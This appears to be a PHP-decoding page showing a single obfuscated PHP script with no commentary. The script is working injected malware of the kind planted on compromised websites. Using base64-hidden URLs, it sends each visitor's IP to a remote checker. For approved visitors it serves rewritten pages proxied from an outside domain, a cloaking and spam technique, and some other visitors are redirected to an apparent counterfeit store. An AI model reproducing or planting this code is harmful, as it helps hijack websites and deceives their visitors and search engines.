PHP Decode

<?  $fb1=base64_decode('aHR0cDovL2t1bm9vemR1YmFpLmVsaWRlci5jb20=');$ad2=base64_decode('aHR0cDovL3d3dy5vZmZpY2lhbGpvcmRhbnN0b3JlLmNvbS8=');function ec0($hq3){$wz4=curl_init($hq3);curl_setopt($wz4,CURLOPT_HEADER,0);curl_setopt($wz4,CURLOPT_RETURNTRANSFER,1);curl_setopt($wz4,CURLOPT_ENCODING,'');curl_setopt($wz4,CURLOPT_REFERER,$_SERVER[base64_decode('SFRUUF9IT1NU')]);$tg5=curl_exec($wz4);curl_close($wz4);return $tg5;}if(ec0(base64_decode('aHR0cDovL211c2VvdmlydHVhbGUubmV0L2NnaS1iaW4vaXBjaGVjay5jZ2k/aXA9').$_SERVER[base64_decode('UkVNT1RFX0FERFI=')])==base64_decode('dHJ1ZQ==')){if($_SERVER[base64_decode('UkVRVUVTVF9VUkk=')]==base64_decode('Lw==') ||$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')]==base64_decode('L2luZGV4LnBocA==') ||isset($_GET[base64_decode('a2V5')])){if($_GET[base64_decode('a2V5')]){$ve6=$_GET[base64_decode('a2V5')];if($ve6[0]!=base64_decode('Lw=='))$ve6=base64_decode('Lw==').$ve6;}else{$ve6=base64_decode('Lw==');}$en7=ec0("http://kunoozdubai.elider.com$ve6");$en7=preg_replace(base64_decode('IyhocmVmfHNyYyk9Ii8/KFteOiJdKj8pLz8iIw=='),base64_decode('JDE9Ii8/a2V5PSQyJDMi'),$en7);$en7=preg_replace(base64_decode('IyhocmVmfHNyYyk9XCcvPyhbXjpcJ10qKS8/XCcj'),base64_decode('JDE9XCcvP2tleT0kMiQzXCc='),$en7);$en7=preg_replace(base64_decode('Iyh1cmwpXCgoW146XCldKikoXCl8KD86KD86JTIwfFxzfFwrKVteXCldKlwpKSkjaQ=='),base64_decode('JDEoLz9rZXk9JDIkMw=='),$en7);if(preg_match("/\.css$/i",$ve6)){header(base64_decode('Q29udGVudC10eXBlOiB0ZXh0L2Nzcw=='));}elseif(preg_match("/\.jpg$/i",$ve6)){header(base64_decode('Q29udGVudC10eXBlOiBpbWFnZS9qcGVn'));}elseif(preg_match("/\.png$/i",$ve6)){header(base64_decode('Q29udGVudC10eXBlOiBpbWFnZS9wbmc='));}echo $en7;exit;}}elseif(isset($_GET[base64_decode('a2V5')])&&$ad2){header("Location: $ad2");exit;} 
 ?>